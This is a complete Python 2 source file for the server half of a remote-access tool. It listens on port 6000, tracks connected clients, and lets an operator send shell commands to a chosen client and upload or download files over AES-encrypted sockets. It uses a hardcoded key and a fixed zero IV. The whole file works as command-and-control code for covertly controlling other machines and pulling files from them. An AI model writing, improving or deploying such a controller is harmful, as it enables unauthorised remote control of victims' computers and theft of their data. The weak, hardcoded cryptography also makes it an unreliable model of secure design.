server.py

#!/usr/bin/env python

from Crypto.Cipher import AES
import socket, base64, os, time, sys, select

# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32

# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))

# generate a random secret key
secret = "HUISA78sa9y&9syYSsJhsjkdjklfs9aR"

# clear function
##################################
# Windows ---------------> cls
# Linux   ---------------> clear
if os.name == 'posix': clf = 'clear'
if os.name == 'nt': clf = 'cls'
clear = lambda: os.system(clf)

# initialize socket
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind(('0.0.0.0', 6000))
c.listen(128)

# client information
active = False
clients = []
socks = []
interval = 0.8

# Functions
###########

# send data
def Send(sock, cmd, end="EOFEOFEOFEOFEOFX"):
    sock.sendall(EncodeAES(cipher, cmd + end))

# receive data
def Receive(sock, end="EOFEOFEOFEOFEOFX"):
    data = ""
    l = sock.recv(1024)
    while(l):
        decrypted = DecodeAES(cipher, l)
        data += decrypted
        if data.endswith(end) == True:
            break
        else:
            l = sock.recv(1024)
    return data[:-len(end)]

# download file
def download(sock, remote_filename, local_filename=None):
    # check if file exists
    if not local_filename:
        local_filename = remote_filename
    try:
        f = open(local_filename, 'wb')
    except IOError:
        print "Error opening file.\n"
        Send(sock, "cd .")
        return
    # start transfer
    Send(sock, "download "+remote_filename)
    print "Downloading: " + remote_filename + " > " + local_filename
    fileData = Receive(sock)
    f.write(fileData)
    time.sleep(interval)
    f.close()
    time.sleep(interval)

# upload file
def upload(sock, local_filename, remote_filename=None):
    # check if file exists
    if not remote_filename:
        remote_filename = local_filename
    try:
        g = open(local_filename, 'rb')
    except IOError:
        print "Error opening file.\n"
        Send(sock, "cd .")
        return
    # start transfer
    Send(sock, "upload "+remote_filename)
    print 'Uploading: ' + local_filename + " > " + remote_filename
    while True:
        fileData = g.read()
        if not fileData: break
        Send(sock, fileData, "")
    g.close()
    time.sleep(interval)
    Send(sock, "")
    time.sleep(interval)

# refresh clients
def refresh():
    clear()
    print '\nListening for clients...\n'
    if len(clients) > 0:
        for j in range(0,len(clients)):
            print '[' + str((j+1)) + '] Client: ' + clients[j] + '\n'
    else:
        print "...\n"
    # print exit option
    print "---\n"
    print "[0] Exit \n"
    print "\nPress Ctrl+C to interact with client."


# main loop
while True:
    refresh()
    # listen for clients
    try:
        # set timeout
        c.settimeout(10)

        # accept connection
        try:
            s,a = c.accept()
        except socket.timeout:
            continue

        # add socket
        if (s):
            s.settimeout(None)
            socks += [s]
            clients += [str(a)]

        # display clients
        refresh()

        # sleep
        time.sleep(interval)

    except KeyboardInterrupt:

        # display clients
        refresh()

        # accept selection --- int, 0/1-128
        activate = input("\nEnter option: ")

        # exit
        if activate == 0:
            print '\nExiting...\n'
            for j in range(0,len(socks)):
                socks[j].close()
            sys.exit()

        # subtract 1 (array starts at 0)
        activate -= 1

        # clear screen
        clear()

        # create a cipher object using the random secret
        cipher = AES.new(secret,AES.MODE_CFB,'0000000000000000')
        print '\nActivating client: ' + clients[activate] + '\n'
        active = True
        Send(socks[activate], 'Activate')

    # interact with client
    while active:
        try:
            # receive data from client
            data = Receive(socks[activate])
        # disconnect client.
        except:
            print '\nClient disconnected... ' + clients[activate]
            # delete client
            socks[activate].close()
            time.sleep(0.8)
            socks.remove(socks[activate])
            clients.remove(clients[activate])
            refresh()
            active = False
            break

        # exit client session
        if data == 'quitted':
            # print message
            print "Exit.\n"
            # remove from arrays
            socks[activate].close()
            socks.remove(socks[activate])
            clients.remove(clients[activate])
            # sleep and refresh
            time.sleep(0.8)
            refresh()
            active = False
            break
        # if data exists
        elif data != '':
            # get next command
            sys.stdout.write(data)
            nextcmd = raw_input()

        # download
        if nextcmd.startswith("download ") == True:
            if len(nextcmd.split(' ')) > 2:
                download(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
            else:
                download(socks[activate], nextcmd.split(' ')[1])

        # upload
        elif nextcmd.startswith("upload ") == True:
            if len(nextcmd.split(' ')) > 2:
                upload(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
            else:
                upload(socks[activate], nextcmd.split(' ')[1])

        # normal command
        elif nextcmd != '':
            Send(socks[activate], nextcmd)

        elif nextcmd == '':
            print 'Think before you type. ;)\n'